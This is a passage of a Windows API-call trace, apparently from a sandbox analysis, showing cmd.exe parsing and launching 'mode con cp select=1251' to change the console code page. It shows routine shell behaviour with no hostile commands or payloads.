lpOverlapped=0x0) returned 1 [0198.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0198.928] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.928] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.928] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.928] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.928] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.928] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0198.928] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.928] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.928] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0198.928] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.928] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.928] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0198.928] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.928] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.928] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.929] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0198.929] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.929] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.929] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.929] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0198.929] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.929] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.929] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.929] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0198.929] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.929] GetFileType (hFile=0x228) returned 0x3 [0198.929] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.929] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.929] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.929] GetFileType (hFile=0x234) returned 0x3 [0198.929] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0198.929] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe6b974fbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974fbe8*=0x18, lpOverlapped=0x0) returned 1 [0198.930] GetProcessHeap () returned 0x21ccf2a0000 [0198.930] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x4012) returned 0x21ccf2a8fe0 [0198.930] GetProcessHeap () returned 0x21ccf2a0000 [0198.930] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8fe0) returned 1 [0198.930] _wcsicmp (_String1="mode", _String2=")") returned 68 [0198.930] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0198.930] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0198.930] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0198.930] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0198.930] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0198.930] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0198.930] GetProcessHeap () returned 0x21ccf2a0000 [0198.930] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xb0) returned 0x21ccf2a8320 [0198.930] GetProcessHeap () returned 0x21ccf2a0000 [0198.930] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x1a) returned 0x21ccf2a6a80 [0198.931] GetProcessHeap () returned 0x21ccf2a0000 [0198.931] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x38) returned 0x21ccf2a1850 [0198.931] GetConsoleOutputCP () returned 0x1b5 [0198.931] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a755fbb0 | out: lpCPInfo=0x7ff6a755fbb0) returned 1 [0198.932] SetThreadUILanguage (LangId=0x0) returned 0x409 [0198.932] GetConsoleTitleW (in: lpConsoleTitle=0xe6b974fa30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0198.932] malloc (_Size=0xffce) returned 0x21ccf480840 [0198.932] ??_V@YAXPEAX@Z () returned 0x21ccf480840 [0198.932] malloc (_Size=0xffce) returned 0x21ccf490820 [0198.933] ??_V@YAXPEAX@Z () returned 0x21ccf490820 [0198.933] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0198.933] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0198.933] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0198.933] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0198.933] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0198.933] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0198.933] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0198.933] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0198.934] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0198.934] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0198.934] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0198.934] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0198.934] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0198.934] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0198.934] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0198.934] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0198.934] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0198.934] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0198.934] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0198.934] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0198.934] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0198.934] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0198.934] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0198.934] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0198.934] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0198.934] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0198.934] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0198.934] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0198.934] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0198.934] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0198.934] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0198.934] _wcsicmp (_String1="mode", _String2="START") returned -6 [0198.934] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0198.934] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0198.934] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0198.934] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0198.934] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0198.934] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0198.934] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0198.934] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0198.934] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0198.934] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0198.934] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0198.934] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0198.935] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0198.935] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0198.935] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0198.935] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0198.935] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0198.935] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0198.935] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0198.935] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0198.935] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0198.935] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0198.935] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0198.935] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0198.935] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0198.935] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0198.935] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0198.935] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0198.935] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0198.935] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0198.935] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0198.935] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0198.935] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0198.935] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0198.935] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0198.935] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0198.935] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0198.935] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0198.935] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0198.935] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0198.935] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0198.935] _wcsicmp (_String1="mode", _String2="START") returned -6 [0198.935] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0198.935] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0198.935] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0198.936] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0198.936] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0198.936] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0198.936] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0198.936] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0198.936] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0198.936] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0198.936] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0198.936] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0198.936] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0198.936] ??_V@YAXPEAX@Z () returned 0x1 [0198.936] GetProcessHeap () returned 0x21ccf2a0000 [0198.936] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xffde) returned 0x21ccf2a8fe0 [0198.937] GetProcessHeap () returned 0x21ccf2a0000 [0198.937] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x42) returned 0x21ccf2a83e0 [0198.937] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0198.937] malloc (_Size=0xffce) returned 0x21ccf490820 [0198.937] ??_V@YAXPEAX@Z () returned 0x21ccf490820 [0198.937] GetProcessHeap () returned 0x21ccf2a0000 [0198.937] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x1ffac) returned 0x21ccf2b8fd0 [0198.939] SetErrorMode (uMode=0x0) returned 0x0 [0198.939] SetErrorMode (uMode=0x1) returned 0x0 [0198.939] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21ccf2b8fe0, lpFilePart=0xe6b974f2b0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe6b974f2b0*="Desktop") returned 0x17 [0198.939] SetErrorMode (uMode=0x0) returned 0x1 [0198.939] GetProcessHeap () returned 0x21ccf2a0000 [0198.939] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2b8fd0, Size=0x4a) returned 0x21ccf2b8fd0 [0198.939] GetProcessHeap () returned 0x21ccf2a0000 [0198.939] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2b8fd0) returned 0x4a [0198.939] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0198.939] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0198.939] GetProcessHeap () returned 0x21ccf2a0000 [0198.939] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x1bc) returned 0x21ccf2a6c30 [0198.939] GetProcessHeap () returned 0x21ccf2a0000 [0198.939] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x368) returned 0x21ccf2b9030 [0198.946] GetProcessHeap () returned 0x21ccf2a0000 [0198.946] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2b9030, Size=0x1be) returned 0x21ccf2b9030 [0198.946] GetProcessHeap () returned 0x21ccf2a0000 [0198.946] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2b9030) returned 0x1be [0198.946] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0198.946] GetProcessHeap () returned 0x21ccf2a0000 [0198.946] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xe8) returned 0x21ccf2a6e00 [0198.948] GetProcessHeap () returned 0x21ccf2a0000 [0198.948] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2a6e00, Size=0x7e) returned 0x21ccf2a6e00 [0198.948] GetProcessHeap () returned 0x21ccf2a0000 [0198.948] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2a6e00) returned 0x7e [0198.948] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0198.948] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0xffffffffffffffff [0198.948] GetLastError () returned 0x2 [0198.948] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0198.948] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0xffffffffffffffff [0198.951] GetLastError () returned 0x2 [0198.951] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0198.951] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0x21ccf2a6e90 [0198.951] GetProcessHeap () returned 0x21ccf2a0000 [0198.951] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, Size=0x28) returned 0x21ccf2a1890 [0198.951] FindClose (in: hFindFile=0x21ccf2a6e90 | out: hFindFile=0x21ccf2a6e90) returned 1 [0198.951] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0x21ccf2a6e90 [0198.952] GetProcessHeap () returned 0x21ccf2a0000 [0198.952] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2a1890, Size=0x8) returned 0x21ccf2a1890 [0198.952] FindClose (in: hFindFile=0x21ccf2a6e90 | out: hFindFile=0x21ccf2a6e90) returned 1 [0198.952] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0198.952] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0198.952] ??_V@YAXPEAX@Z () returned 0x1 [0198.952] GetConsoleTitleW (in: lpConsoleTitle=0xe6b974f5a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0198.973] GetProcessHeap () returned 0x21ccf2a0000 [0198.973] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x21c) returned 0x21ccf2b9200 [0198.973] GetConsoleTitleW (in: lpConsoleTitle=0x21ccf2b9210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0198.973] GetProcessHeap () returned 0x21ccf2a0000 [0198.973] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2b9200, Size=0xaa) returned 0x21ccf2b9200 [0198.973] GetProcessHeap () returned 0x21ccf2a0000 [0198.973] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2b9200) returned 0xaa [0198.973] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0198.974] GetProcessHeap () returned 0x21ccf2a0000 [0198.974] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2b9200) returned 1 [0198.974] InitializeProcThreadAttributeList (in: lpAttributeList=0xe6b974f4c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xe6b974f3b0 | out: lpAttributeList=0xe6b974f4c0, lpSize=0xe6b974f3b0) returned 1 [0198.974] UpdateProcThreadAttribute (in: lpAttributeList=0xe6b974f4c0, dwFlags=0x0, Attribute=0x60001, lpValue=0xe6b974f39c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xe6b974f4c0, lpPreviousValue=0x0) returned 1 [0198.974] GetStartupInfoW (in: lpStartupInfo=0xe6b974f450 | out: lpStartupInfo=0xe6b974f450*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) [0198.974] GetProcessHeap () returned 0x21ccf2a0000 [0198.974] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x20) returned 0x21ccf2a6e90 [0198.974] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0198.974] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0198.975] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0198.975] GetProcessHeap () returned 0x21ccf2a0000 [0198.975] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6e90) returned 1 [0198.975] GetProcessHeap () returned 0x21ccf2a0000 [0198.975] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x12) returned 0x21ccf2a6e90 [0198.975] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.975] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0198.975] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.976] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0 [0198.976] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xe6b974f3e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe6b974f3b8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xe6b974f3b8*(hProcess=0x98, hThread=0x94, dwProcessId=0x4a8, dwThreadId=0x368)) returned 1 [0199.604] CloseHandle (hObject=0x94) returned 1 [0199.604] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0199.604] GetProcessHeap () returned 0x21ccf2a0000 [0199.604] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8500) returned 1 